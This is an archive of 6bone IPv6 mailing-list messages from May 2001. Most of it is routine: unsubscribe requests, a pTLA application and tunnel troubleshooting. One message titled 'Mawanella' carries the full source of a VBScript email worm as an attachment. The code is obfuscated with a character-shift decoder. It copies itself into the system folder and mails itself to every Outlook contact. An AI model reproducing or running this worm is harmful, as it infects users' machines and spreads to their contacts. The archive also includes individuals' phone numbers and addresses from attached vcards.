------=_NextPart_000_001D_01C0DC5F.52147490-- From karsten.haga@telenor.com Mon May 14 08:14:18 2001 From: karsten.haga@telenor.com (karsten.haga@telenor.com) Date: Mon, 14 May 2001 09:14:18 +0200 Subject: remove Message-ID: <6D158A832FA9D21189890090271CA89D02AAF00A@BDR-SG-24-200> remove From gubanec@iskratel.si Mon May 14 10:05:43 2001 From: gubanec@iskratel.si (Gubanec Marko RDEC) Date: Mon, 14 May 2001 11:05:43 +0200 Subject: remove Message-ID: <7E8519F1A7C0D211B0D200A0C93AA60F05C65D24@ntmail.iskratel.si> remove From Roccazzella@oni.pt Mon May 14 11:16:06 2001 From: Roccazzella@oni.pt (Rui Duarte Roccazzella) Date: Mon, 14 May 2001 11:16:06 +0100 Subject: remove Message-ID: <967F26565017D511AC4C0008C7916158710743@MATEXCPRD02.e3g.pt> remove From jack.harris@us.pwcglobal.com Mon May 14 12:13:52 2001 From: jack.harris@us.pwcglobal.com (jack.harris@us.pwcglobal.com) Date: Mon, 14 May 2001 07:13:52 -0400 Subject: remove Message-ID: remove ---------------------------------------------------------------- The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. From david.greaves@idl-bt.com Mon May 14 14:15:34 2001 From: david.greaves@idl-bt.com (david.greaves@idl-bt.com) Date: Mon, 14 May 2001 14:15:34 +0100 Subject: Don't use 'remove' to unsubscribe Message-ID: <71DA16F18D32D2119A1D0000F8FE9A940D314027@mbtlipnt01.btlabs.bt.co.uk> Here's a partial copy of my welcome message for those who are confused (apologies to the rest but I figured this would cut down spurious removes :) -- Welcome to the 6bone mailing list! If you ever want to remove yourself from this mailing list, send the following command in email to "6bone-request@isi.edu": unsubscribe Or you can send mail to "majordomo@isi.edu" with the following command in the body of your email message: unsubscribe 6bone [snip] Hope this helps. David Greaves -- Internet Designers Limited - a BT company Mobile: 07740 824106 IDL intranet site http://intranet.idl.bt.co.uk/ External web site http://www.internet-designers.net/ From gcampos@campus.cem.itesm.mx Mon May 14 15:00:53 2001 From: gcampos@campus.cem.itesm.mx (M. en C. Gabriela Campos) Date: Mon, 14 May 2001 09:00:53 -0500 Subject: remove Message-ID: <3AFFE515.D988143F@campus.cem.itesm.mx> This is a multi-part message in MIME format. --------------E155A0C16220A271FAFF88B9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit remove --------------E155A0C16220A271FAFF88B9 Content-Type: text/x-vcard; charset=us-ascii; name="gcampos.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for M. en C. Gabriela Campos Content-Disposition: attachment; filename="gcampos.vcf" begin:vcard n:Campos;Gabriela tel;fax:(52) 5864-5651 tel;work:(52) 5864-5672 x-mozilla-html:FALSE org:ITESM Campus Estado de México;Sistemas de Información version:2.1 email;internet:gcampos@campus.cem.itesm.mx adr;quoted-printable:;;Carr. Lago de Guadalupe km 3.5,=0D=0AMargarita Maza de Ju=E1rez,=0D=0AAtizap=E1n, Edo. de M=E9xico=0D=0A;;;52926; fn:M. en C. Gabriela Campos end:vcard --------------E155A0C16220A271FAFF88B9-- From Arthurr@optibase.com Mon May 14 16:06:29 2001 From: Arthurr@optibase.com (Arthur Rabinowitz) Date: Mon, 14 May 2001 17:06:29 +0200 Subject: remove Message-ID: remove Sincerely yours, Arthur Rabinovitz From corno fa" Message-ID: remove From deana.grein@safeway.com Mon May 14 17:41:10 2001 From: deana.grein@safeway.com (Deana Grein) Date: Mon, 14 May 2001 09:41:10 -0700 Subject: remove Message-ID: <3B000AA6.31730896@safeway.com> This is a multi-part message in MIME format. --------------5BE966B919DF2747BB24D0A6 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit remove "WorldSecure Server " made the following annotations on 05/14/01 10:42:05 ------------------------------------------------------------------------------ Warning: All e-mail sent to this address will be received by the Safeway corporate e-mail system, and is subject to archival and review by someone other than the recipient. This e-mail may contain information proprietary to Safeway and is intended only for the use of the intended recipient(s). If the reader of this message is not the intended recipient(s), you are notified that you have received this message in error and that any review, dissemination, distribution or copying of this message is strictly prohibited. If you have received this message in error, please notify the sender immediately. ============================================================================== --------------5BE966B919DF2747BB24D0A6 Content-Type: text/x-vcard; charset=us-ascii; name=deana.grein.vcf Content-Transfer-Encoding: 7bit Content-Description: Card for Deana Grein Content-Disposition: attachment; filename=deana.grein.vcf begin:vcard n:Grein;Deana tel;pager:888-663-8515 tel;cell:925-699-4956 tel;fax:(925)944-4202 tel;work:(925)944-4014 x-mozilla-html:FALSE version:2.1 email;internet:deana.grein@safeway.com title:NT/UNIX SysAdmin adr;quoted-printable:;;2800 Ygnacio Valley Road=0D=0A;Walnut Creek;Ca;94598;USA x-mozilla-cpt:;2384 fn:Deana Grein end:vcard --------------5BE966B919DF2747BB24D0A6-- From hansolofalcon@worldnet.att.net Mon May 14 18:06:32 2001 From: hansolofalcon@worldnet.att.net (Gregg C Levine) Date: Mon, 14 May 2001 13:06:32 -0400 Subject: Don't use 'remove' to unsubscribe In-Reply-To: <71DA16F18D32D2119A1D0000F8FE9A940D314027@mbtlipnt01.btlabs.bt.co.uk> Message-ID: Hello all from Gregg C Levine normally with Jedi Knight Computers Yes, and if those 'remove' messages were created, and sent out, because of my mistake in sending out a message with that dratted setting on Outlook's message formats set, for a Return Receipt Requested. Then I humbly apologize to all who got stymied on it. ------------------- Gregg C Levine mailto:hansolofalcon@att.net ------------------------------------------------------------ "The Force will be with you...Always." Obi-Wan Kenobi "Use the Force, Luke." Obi-Wan Kenobi (This company dedicates this E-Mail to General Obi-Wan Kenobi (Perhaps one of the most powerful of all of the Jedi Knights)) (This company dedicates this E-Mail to Master Yoda (Perhaps the other one of the most powerful of all of the Jedi Knights)) And the favorite line by Anonymous "May the Force be with you." > -----Original Message----- > From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of > david.greaves@idl-bt.com > Sent: Monday, May 14, 2001 9:16 AM > To: 6bone@ISI.EDU > Subject: Don't use 'remove' to unsubscribe > > > Here's a partial copy of my welcome message for those who > are confused > (apologies to the rest but I figured this would cut down > spurious removes :) > > -- > Welcome to the 6bone mailing list! > > If you ever want to remove yourself from this mailing list, > send the following command in email to > "6bone-request@isi.edu": > > unsubscribe > > Or you can send mail to "majordomo@isi.edu" with the > following command > in the body of your email message: > > unsubscribe 6bone > > [snip] > > Hope this helps. > > David Greaves > -- > Internet Designers Limited - a BT company > Mobile: 07740 824106 > IDL intranet site http://intranet.idl.bt.co.uk/ > > External web site http://www.internet-designers.net/ > From kjetil.wirkola@wrs.no Tue May 15 07:25:35 2001 From: kjetil.wirkola@wrs.no (Wirkola, Kjetil) Date: Tue, 15 May 2001 08:25:35 +0200 Subject: remove Message-ID: <8324A2E3BC1CD511B5EB0002A5511872BC50@WRSSRV000> remove From fink@es.net Thu May 17 07:57:41 2001 From: fink@es.net (Bob Fink) Date: Wed, 16 May 2001 23:57:41 -0700 Subject: pTLA request for ATMAN6 (www.atman.pl) - review closes 30 May 2001 Message-ID: <5.0.2.1.0.20010516235406.021e7978@imap2.es.net> 6bone Folk, ATMAN6 (www.atman.pl) has requested a pTLA allocation. The open review period for this will close 30 May 2001. Please send your comments to me or the list. Thanks, Bob === >To: Bob Fink >Cc: ipv6@6bone.atman.pl >Subject: pTLA request for ATMAN (www.atman.pl) >From: "Robert J. Wozny" > >Dear Bob, > >We would like to request a test pTLA on the 6bone. >I'm working for ATM Inc. It's an ISP. > >1. The pTLA Applicant must have a minimum of three (3) months >qualifying experience as a 6Bone end-site or pNLA transit. >During the entire qualifying period the Applicant must be operationally >providing the following: > >since the end of 1999 from ICM: a 3FFE:8010:2f::/48 Network. (old router) >since 22 April 2001 from AGARAN: a 3FFE:8010:22:1000::/60 Network (new router) > >a. Fully maintained, up to date, 6Bone Registry entries for >their ipv6-site inet6num, mntner, and person objects, including >each tunnel that the Applicant has. > >see ATMAN6 > >b. Fully maintained, and reliable, BGP4+ peering and connectivity >between the Applicant's boundary router and the appropriate >connection point into the 6Bone. This router must be IPv6 >pingable. This criteria is judged by members of the 6Bone >Operations Group at the time of the Applicant's pTLA request > >tunnel: IPv6 in IPv4 6bone.atman.pl -> agaran-gw.agaran.6bone.pl AGARAN BGP4+ >tunnel: IPv6 in IPv4 6bone.atman.pl -> dune.speedy.eu.org SPEEDY BGP4+ >tunnel: IPv6 in IPv4 6bone.atman.pl -> 6bone-gw.6bone.pl ICM BGP4+ > >traceroute to 6bone-gw.6bone.pl (193.219.28.246), 64 hops max, 40 byte >packets > 1 do-6bone-r4.atman.pl (217.17.32.13) 1.876 ms 1.749 ms 1.413 ms > 2 unused-32-17.atman.pl (217.17.32.17) 2.245 ms 2.333 ms 2.690 ms > 3 z-icm.atman.pl (217.17.32.10) 3.590 ms 4.932 ms 3.755 ms > 4 c7-icm-atm2-0-1.icm.edu.pl (212.87.0.1) 4.115 ms 4.343 ms 3.585 ms > 5 6bone-gw.6bone.pl (193.219.28.246) 5.780 ms 4.484 ms 3.901 ms > >router: 6bone.atman.pl (OpenBSD, kame, zebra) > ipv4: 217.17.32.14 > ipv6: 3FFE:8010:22:1000::1:1 > >c. Fully maintained DNS forward (AAAA) and reverse (ip6.int) >entries for the Applicant's router(s) and at least one host system. > >domain: 6bone.atman.pl >DNS: ns.6bone.atman.pl > >ns.6bone.atman.pl. has address 217.17.32.14 >ns.6bone.atman.pl. has AAAA address 3ffe:8010:22:1000::1:1 > >d. A fully maintained, and reliable, IPv6-accessible system >providing, at a mimimum, one or more web pages, describing >the Applicant's IPv6 services. This server must be IPv6 pingable. > >web: (v6 ready) www.6bone.atman.pl (only v4) www.atman.pl > >2. The pTLA Applicant MUST have the ability and intent to provide > "production-quality" 6Bone backbone service. Applicants must > provide a statement and information in support of this claim. > This MUST include the following: > >a. A support staff of two persons minimum, three preferable, with >person attributes registered for each in the ipv6-site object >for the pTLA applicant. > >see RJW2-6BONE and MAP2-6BONE > >b. A common mailbox for support contact purposes that all support >staff have acess to, pointed to with a notify attribute in >the ipv6-site object for the pTLA Applicant. > >ipv6@6bone.atman.pl, registry@6bone.atman.pl > >3. The pTLA Applicant MUST have a potential "user community" that >would be served by its becoming a pTLA, e.g., the Applicant is a >major provider of Internet service in a region, country, or focus >of interest. Applicant must provide a statement and information >in support this claim. > >ATM is an ISP in Warsaw, Poland. we provides Internet Services to >business customers. Ther service includes consulting, housing, >atm links. Our main goal is to provide high quality to all out >customers. > >4. The pTLA Applicant MUST commit to abide by the current 6Bone >operational rules and policies as they exist at time of its >application, and agree to abide by future 6Bone backbone >operational rules and policies as they evolve by consensus of >the 6Bone backbone and user community. > >We commit any current and any future 6Bone operational rules and policies. > > > > > > > > > > > > > > > > > > > > >-- >Robert Wo¼ny >ATM Inc., ul. Grochowska 21a, 04-186 Warszawa, POLAND >tel. +48-22-5156359, fax: +48-22-5156295, http://www.atm.com.pl From grn@ispras.ru Thu May 17 14:22:41 2001 From: grn@ispras.ru (Grigory Kljuchnikov) Date: Thu, 17 May 2001 17:22:41 +0400 (MSK) Subject: 6bone connection request Message-ID: Hello, I try to set connection to 6Bone. I've FreeBSD 4.1 with interface gif0 and static routing (inet6 default gateway 3FFE:28FF:5:FFF::1). The remote end point have Cisco. It have configured intreface Tunnel1. But we don't have connection, ping6 don't say anything from my place and from remote place. May be somebody can help me? Thank you. ------------------------------------------------- The configuration of my FreeBSD 4.1 end point is: [grn@motor grn]$ ifconfig -a ed0: flags=8843 mtu 1500 inet 194.67.37.210 netmask 0xffffff00 broadcast 194.67.37.255 inet6 fe80::260:52ff:fe05:e8cd%ed0 prefixlen 64 scopeid 0x1 inet6 3ffe:28ff:5:1000::1 prefixlen 64 ether 00:60:52:05:e8:cd lo0: flags=8049 mtu 16384 inet6 fe80::1%lo0 prefixlen 64 scopeid 0x3 inet6 ::1 prefixlen 128 inet 127.0.0.1 netmask 0xff000000 gif0: flags=8011 mtu 1280 inet6 3ffe:28ff:5:fff::2 --> 3ffe:28ff:5:fff::1 prefixlen 126 inet6 fe80::260:52ff:fe05:e8cd%gif0 --> :: prefixlen 64 scopeid 0x4 [grn@motor grn]$ gifconfig -a gif0: flags=8111 mtu 1280 inet6 3ffe:28ff:5:fff::2 --> 3ffe:28ff:5:fff::1 prefixlen 126 inet6 fe80::260:52ff:fe05:e8cd%gif0 --> :: prefixlen 64 physical address inet 194.67.37.210 --> 193.232.112.199 [grn@motor grn]$ netstat -f inet6 -rn Routing tables Internet6: Destination Gateway Flags Netif Expire ::/96 ::1 UGRSc lo0 => default 3ffe:28ff:5:fff::1 UGSc gif0 ::1 ::1 UH lo0 ::ffff:0.0.0.0/96 ::1 UGRSc lo0 3ffe:28ff:5:fff::1 3ffe:28ff:5:fff::2 UH gif0 3ffe:28ff:5:fff::2 ::1 UH lo0 3ffe:28ff:5:1000::/64 link#1 UC ed0 3ffe:28ff:5:1000::1 0:60:52:5:e8:cd UHLW lo0 3ffe:28ff:5:1000::2 0:d0:b7:c:42:42 UHLS ed0 3ffe:28ff:5:1000::3 8:0:20:1f:ec:d9 UHLW ed0 fe80::/10 link#4 UCS gif0 fe80::%ed0/64 link#1 UC ed0 fe80::d0:b70c:4242%ed0 0:d0:b7:c:42:42 UHLW ed0 fe80::800:207d:1096%ed0 8:0:20:7d:10:96 UHLW ed0 fe80::260:52ff:fe05:e8cd%ed0 0:60:52:5:e8:cd UHLW lo0 fe80::a00:20ff:fe7d:1096%ed0 8:0:20:7d:10:96 UHLW ed0 fe80::%lo0/64 fe80::1%lo0 Uc lo0 fe80::%gif0/64 link#4 UC gif0 fe80::260:52ff:fe05:e8cd%gif0 ::1 UH lo0 ff01::/32 ::1 U lo0 ff02::/64 link#1 UC ed0 => ff02::/16 link#4 UCS gif0 ff02::%ed0/32 link#1 UC ed0 ff02::%lo0/32 fe80::1%lo0 UC lo0 ff02::%gif0/32 link#4 UC gif0 --------------------------------------- And configuration of remote end point is: murka#show ipv6 interface tun 1 Tunnel1 is up, line protocol is up IPv6 is enabled, link-local address is FE80::C03:8F19:D Description: MSU-ISPRAS.IPv4-IPv6.GW Global unicast address(es): 3FFE:28FF:5:FFF::1, subnet is 3FFE:28FF:5:FFF::/126 Joined group address(es): FF02::1 FF02::2 FF02::1:FF19:D FF02::1:FF00:1 MTU is 1480 bytes ICMP error messages limited to one every 500 milliseconds ND advertised reachable time is 0 milliseconds ND advertised retransmit interval is 0 milliseconds ND router advertisements are sent every 200 seconds ND router advertisements live for 1800 seconds Hosts use stateless autoconfig for addresses. murka#show interfaces tun 1 Tunnel1 is up, line protocol is up Hardware is Tunnel Description: MSU-ISPRAS.IPv4-IPv6.GW MTU 1514 bytes, BW 9 Kbit, DLY 500000 usec, reliability 255/255, txload 1/255, rxload 1/255 Encapsulation TUNNEL, loopback not set Keepalive set (10 sec) Tunnel source 193.232.112.199 (Ethernet0), destination 194.67.37.210 Tunnel protocol/transport IPv6/IP, key disabled, sequencing disabled Checksumming of packets disabled Path MTU Discovery, ager 10 mins, MTU 0, expires never Last input never, output 1d20h, output hang never Last clearing of "show interface" counters never Queueing strategy: fifo Output queue 0/0, 2 drops; input queue 0/75, 0 drops 5 minute input rate 0 bits/sec, 0 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec 0 packets input, 0 bytes, 0 no buffer Received 0 broadcasts, 0 runts, 0 giants, 0 throttles 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort 24 packets output, 4264 bytes, 0 underruns 0 output errors, 0 collisions, 0 interface resets 0 output buffer failures, 0 output buffers swapped out Many thanks, Grigory Klyuchnikov, System Engineer, Institute for System Programming Russian Academy of Sciences From pekkas@netcore.fi Thu May 17 20:50:40 2001 From: pekkas@netcore.fi (Pekka Savola) Date: Thu, 17 May 2001 22:50:40 +0300 (EEST) Subject: 6bone connection request In-Reply-To: Message-ID: On Thu, 17 May 2001, Grigory Kljuchnikov wrote: > I try to set connection to 6Bone. I've FreeBSD 4.1 with interface gif0 > and static routing (inet6 default gateway 3FFE:28FF:5:FFF::1). > The remote end point have Cisco. It have configured intreface Tunnel1. > But we don't have connection, ping6 don't say anything from my place > and from remote place. > > May be somebody can help me? Check that you aren't filtering protocol 41 somewhere along the way. This is probably the issue, as Cisco has sent packets but they've never arrived to you (or so I gather as you're running tcpdump on gif0 but probably aren't seeing anything). I'm connecting FreeBSD 4.3 to Cisco using /126 too. The configuration is otherwise the same, except there I haven't specified the remote P-t-P address in the interface configuration as you have. With you it would be: instead of: > [grn@motor grn]$ ifconfig -a > gif0: flags=8011 mtu 1280 > inet6 3ffe:28ff:5:fff::2 --> 3ffe:28ff:5:fff::1 prefixlen 126 > inet6 fe80::260:52ff:fe05:e8cd%gif0 --> :: prefixlen 64 scopeid 0x4 gif0: flags=8011 mtu 1280 inet6 3ffe:28ff:5:fff::2 --> :: prefixlen 126 inet6 fe80::260:52ff:fe05:e8cd%gif0 --> :: prefixlen 64 scopeid 0x4 and instead of: > [grn@motor grn]$ gifconfig -a > gif0: flags=8111 mtu 1280 > inet6 3ffe:28ff:5:fff::2 --> 3ffe:28ff:5:fff::1 prefixlen 126 > inet6 fe80::260:52ff:fe05:e8cd%gif0 --> :: prefixlen 64 > physical address inet 194.67.37.210 --> 193.232.112.199 gif0: flags=8111 mtu 1280 inet6 3ffe:28ff:5:fff::2 --> :: prefixlen 126 inet6 fe80::260:52ff:fe05:e8cd%gif0 --> :: prefixlen 64 physical address inet 194.67.37.210 --> 193.232.112.199 -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From pekkas@netcore.fi Fri May 18 05:20:31 2001 From: pekkas@netcore.fi (Pekka Savola) Date: Fri, 18 May 2001 07:20:31 +0300 (EEST) Subject: How do I route IPv4 encapsulated packets? In-Reply-To: <20010517161538.A18950@snew.com> Message-ID: On Thu, 17 May 2001, Chuck Yerkes wrote: [snip] > I have the (netgear) NAT box forwarding EVERYTHING to this > OpenBSD box (firewalls are moot when the inside machines are > all secure). > > My question is this: > What do tunnelled IPv6 over IPv4 packets look like to the > intermediate machine? > > An ICMP6 packet looks like ICMP4 with more payload? No. When tunneling, the only thing your NAT box sees are IPv4 encapsulated packets (protocol 41). I'd be surprised if your NAT box managed to rewrite that, but you never know. > Tcpdump doesn't help cause ALL the machines speak IPv6 and > it just tells me it's an encapsulated IP6 packet. Yeah, that's a problem with tcpdump-3.6 with ipv6 enabled. If you disable ipv6, you will be able to see what the encapsulating ipv4 packets look like. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From vanitha@future.futsoft.com Fri May 18 05:03:39 2001 From: vanitha@future.futsoft.com (Vanitha Neelamegam) Date: Fri, 18 May 2001 09:33:39 +0530 Subject: Mawanella Message-ID: <002f01c0df4f$866a55a0$0407080a@future.futsoft.com> This is a multi-part message in MIME format. ------=_NextPart_000_0030_01C0DF7D.A02291A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Mawanella is one of the Sri Lanka's Muslim Village ------=_NextPart_000_0030_01C0DF7D.A02291A0 Content-Type: application/octet-stream; name="Mawanella.vbs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="Mawanella.vbs" Execute = UnCode("Ts%Jwwtw%Wjxzrj%Sj}y=0FWjr%44%N%mfyj%Rf|fsjqqf%nshnijsy=0FXjy%\dX= %B%HwjfyjTgojhy-'\Xhwnuy3Xmjqq'.=0FXjy%kxt%B%HwjfyjTgojhy-'Xhwnuynsl3Knqj= X~xyjrTgojhy'.=0Fxjy%knqj%B%kxt3TujsYj}yKnqj-\Xhwnuy3XhwnuyKzqqsfrj16.=0F= {gxhtu~Bknqj3WjfiFqq=0Frfns-.=0F=0Fxzg%rfns-.=0F%%%Ts%Jwwtw%Wjxzrj%Sj}y=0F= %%%inr%|xhw1ww1%xywRxl=0F%%%xjy%|xhwBHwjfyjTgojhy-'\Xhwnuy3Xmjqq'.=0F%%%%= %%Xjy%inw|ns%B%kxt3LjyXujhnfqKtqijw-5.=0F%%%%%%Xjy%inwx~xyjr%B%kxt3LjyXuj= hnfqKtqijw-6.=0F%%%%%%Xjy%inwyjru%B%kxt3LjyXujhnfqKtqijw-7.=0F%%%%%%Xjy%h= Knqj%B%kxt3LjyKnqj-\Xhwnuy3XhwnuyKzqqSfrj.=0F%%%%%%hKnqj3Htu~-inwx~xyjr+'= aRf|fsjqqf3{gx'.=0F%%%%%=0FXjy%TzyqttpF%B%HwjfyjTgojhy-'Tzyqttp3Fuuqnhfyn= ts'.=0FNk%TzyqttpF%B%'Tzyqttp'%Ymjs=0F%%%Xjy%RfunBTzyqttpF3LjySfrjXufhj-'= RFUN'.=0F%%%Xjy%FiiQnxyxBRfun3FiiwjxxQnxyx=0F%%%Ktw%Jfhm%QnxyNsij}%Ns%Fii= Qnxyx=0F%%%%%%%Nk%QnxyNsij}3FiiwjxxJsywnjx3Htzsy%AC%5%Ymjs=0F=0E%%Htsyfhy= Htzsy]%B%QnxyNsij}3FiiwjxxJsywnjx3Htzsy=0F=0E%%Ktw%HtzsyB%6%Yt%HtsyfhyHtz= sy]=0F%%%%%%%%%%%%%%Xjy%Rfnq]%B%TzyqttpF3HwjfyjNyjr-5.=0F=0E%%%%%%Xjy%Hts= yfhy]%B%QnxyNsij}3FiiwjxxJsywnjx-Htzsy.=0F%%%%%%%%%%%%%%,rxlgt}%htsyfhy}3= fiiwjxx=0F%%%%%%%%%%%%%%,Rfnq}3Wjhnunjsyx3Fii-Htsyfhy]3Fiiwjxx.=0F%%%%%%%= %%%%%%%Rfnq]3Yt%B%Htsyfhy]3Fiiwjxx=0F=0E%%%%%%Rfnq]3Xzgojhy%B%'Rf|fsjqqf'= =0F=0E%%%%%%Rfnq]3Gti~%B%{ghwqk+'Rf|fsjqqf%nx%tsj%tk%ymj%Xwn%Qfspf,x%Rzxq= nr%[nqqflj'+{ghwqk=0F=0E%%%%%%,Xjy%FyyfhmrjsyBRfnq]3Fyyfhmrjsyx=0F=0E%%%%= %%,Fyyfhmrjsy3Fii%inwx~xyjr%+%'aRf|fsjqqf3{gx'=0F=0E%%%%%%,Rfnq}3Fyyfhmrj= syx3Fii-inwx~xyjr%+%'aRf|fsjqqf3{gx'.=0F=0E%%%%%%Rfnq}3Fyyfhmrjsyx3Fii-in= wx~xyjr%+%'aRf|fsjqqf3{gx'.=0F=0E%%%%%%Rfnq]3IjqjyjFkyjwXzgrny%B%Ywzj=0F=0E= %%%%%%Nk%Rfnq]3Yt%AC%''%Ymjs=0F=0E=0E%Rfnq]3Xjsi=0F%=0E%%%%%%Jsi%Nk=0F%%%= %%%%%%%%Sj}y=0F%%%%%%%Jsi%Nk=0F%%%Sj}y=0FJqxj=0F%%%rxlGt}%'Uqjfxj%Ktw|fwi= %ymnx%yt%j{jw~tsj'%=0FJsi%nk=0F=0FxywRxlB%'%%.%%%%%%%%%%%%%%%%%%%%-'%+%{g= hwqk=0FxywRxlB%xywRxl%+%'-%%.%%%%%%%%%%%%%%%%-%%%.%%'%+%{ghwqk=0FxywRxlB%= xywRxl%+%'%%-%%%%.%%%%%%%%%%-%%%.'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%%%%-%%%.= %%%%%%-%%%%%%%%%.'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%%%%222222222222222222222= 2222'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%%%4%%%%%%%-%%%-%%%%-%%%%%%4a'%+%{ghwq= k=0FxywRxlB%xywRxl%+%'%%4%%%%%%%%%%-%%%%%%%%%%%%%4%%a'%+%{ghwqk=0FxywRxlB= %xywRxl%+%'%4%%%%%%%%%%%%-%-%%%%%%%%%4%%%%a'%+%{ghwqk=0FxywRxlB%xywRxl%+%= '%22222222222222222222222222222222'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%=81%%%%= %%%%%%%%%%%%222%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%=81%%222= 22%%%%%%%%=81%%%=81%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%=81%= =81%%%%%=81%%%%%%%%222%%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%= =81%=81%%%%%=81%%%%%%%%%%%%%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%= +%'%22222222222222222222222222222222'%+%{ghwqk=0F=0FxywRxlB%xywRxl%+%'Rf|= fsjqqf%nx%tsj%tk%ymj%Xwn%Qfspf,x%Rzxqnr%[nqqflj3'%+%{ghwqk%=0FxywRxlB%xyw= Rxl%+%'Ymnx%gwzyfq%nshnijsy%mfuujsji%mjwj%7%Rzxqnr%Rtxvzjx%+%655%Xmtux%fw= j%gzwsy3'%+%{ghwqk%=0FxywRxlB%xywRxl%+%'N%mfy%ymnx%nshnijsy1%\mfy%fgtzy%~= tzD%N%hfs%ijxywt~%~tzw%htruzyjw'%+%{ghwqk%=0FxywRxlB%xywRxl%+%'N%inis,y%i= t%ymfy%gjhfzxj%N%fr%f%ujfhj2qt{nsl%hnyn=7Fjs3'=0F%=0Frxlgt}%xywRxl11'Rf|f= sjqqf'=0F=0FJsi%xzg=0F=0F%=0F") Function UnCode(sCoded) For I=3D1 To Len(sCoded) CurChar=3D Mid(sCoded, I, 1) If Asc(CurChar) =3D 15 Then strChr=3D Chr(10) Else strChr =3D chr(asc(CurChar)-5) End if UnCode =3D UnCode & strChr Next End Function =20 ------=_NextPart_000_0030_01C0DF7D.A02291A0-- From grn@ispras.ru Fri May 18 11:19:26 2001 From: grn@ispras.ru (Grigory Kljuchnikov) Date: Fri, 18 May 2001 14:19:26 +0400 (MSK) Subject: 6bone connection request In-Reply-To: Message-ID: Hello, After reconfiguration our packet filter we did't set rule for protocol 41. Now the connection is alive. Thanks Pekka and everybody!!! On Thu, 17 May 2001, Pekka Savola wrote: > Check that you aren't filtering protocol 41 somewhere along the way. > > This is probably the issue, as Cisco has sent packets but they've never > arrived to you (or so I gather as you're running tcpdump on gif0 but > probably aren't seeing anything). > > > > I'm connecting FreeBSD 4.3 to Cisco using /126 too. The configuration is > otherwise the same, except there I haven't specified the remote P-t-P > address in the interface configuration as you have. With you it would be: > Grigory Klyuchnikov, System Engineer, Institute for System Programming Russian Academy of Sciences From lporter@cw.net Fri May 18 11:29:18 2001 From: lporter@cw.net (Leigh Porter) Date: Fri, 18 May 2001 11:29:18 +0100 Subject: IPv6 Network Message-ID: <0105181129180Z.05303@linux> Hello folks, The Cable and Wireless UK IPv6 network is ready to go live (Just got the sTLA though) and is looking for peers. This network will initialy peer as AS5378. If you would like to peer with Cable and Wireless UK, please pop me an email and I will send you the relavent details. Currently all peerings will be tunneled however we should appear at the London v6 exchange pretty soon. Thanks, Leigh Porter Cable and Wireless From itojun@iijlab.net Fri May 18 14:31:11 2001 From: itojun@iijlab.net (itojun@iijlab.net) Date: Fri, 18 May 2001 22:31:11 +0900 Subject: How do I route IPv4 encapsulated packets? In-Reply-To: chuck's message of Thu, 17 May 2001 16:15:38 MST. <20010517161538.A18950@snew.com> Message-ID: <799.990192671@itojun.org> >I have the (netgear) NAT box forwarding EVERYTHING to this >OpenBSD box (firewalls are moot when the inside machines are >all secure). I don't recommend using IPv6-over-IPv4 across NAT box. sometimes you can make it work, but the way you need to tweak it is not universal (can depend on NAT box). >My question is this: >What do tunnelled IPv6 over IPv4 packets look like to the >intermediate machine? # /sbin/ping6 -I gif0 ff02::1 PING6(56=40+8+8 bytes) fe80::2d0:b7ff:fe1e:8dee%gif0 --> ff02::1 16 bytes from fe80::2d0:b7ff:fe1e:8dee%lo0, icmp_seq=0 hlim=64 time=0.228 ms 16 bytes from fe80::208:c7ff:fe73:17f3%gif0, icmp_seq=0 hlim=64 time=166.289 ms(DUP!) ^C --- ff02::1 ping6 statistics --- 1 packets transmitted, 1 packets received, +1 duplicates, 0% packet loss round-trip min/avg/max/std-dev = 0.228/83.258/166.289/83.031 ms 09:31:38.775978 216.98.98.132 > 202.232.2.100: fe80::2d0:b7ff:fe1e:8dee > ff02::1: icmp6: echo request (len 16, hlim 64) (ttl 30, id 56935) 4500 004c de67 0000 1e29 b5ee d862 6284 cae8 0264 6000 0000 0010 3a40 fe80 0000 0000 0000 02d0 b7ff fe1e 8dee ff02 0000 0000 0000 0000 0000 0000 0001 8000 0a35 22e8 0000 3a24 053b c3d6 0b00 09:31:38.942059 202.232.2.100 > 216.98.98.132: fe80::208:c7ff:fe73:17f3 > fe80::2d0:b7ff:fe1e:8dee: icmp6: echo reply (len 16, hlim 64) (ttl 24, id 34155) 4500 004c 856b 0000 1829 14eb cae8 0264 d862 6284 6000 0000 0010 3a40 fe80 0000 0000 0000 0208 c7ff fe73 17f3 fe80 0000 0000 0000 02d0 b7ff fe1e 8dee 8100 2949 22e8 0000 3a24 053b c3d6 0b00 >An ICMP6 packet looks like ICMP4 with more payload? I don't see what you are trying to mean. >Tcpdump doesn't help cause ALL the machines speak IPv6 and >it just tells me it's an encapsulated IP6 packet. why it does not help? see above... >Or is it impossible to tunnel IPv6 through a NAT box not >matter the setup. almost impossible (or does not worth your prescious time), I would say... iitojun From itojun@iijlab.net Fri May 18 15:20:02 2001 From: itojun@iijlab.net (itojun@iijlab.net) Date: Fri, 18 May 2001 23:20:02 +0900 Subject: whois: getting all "application" line Message-ID: <1191.990195602@itojun.org> hi, i'm thinking of configuring a box, which monitors IPv6 reachability from my IPv6 network to other IPv6 networks. 6bone whois has "appliation" 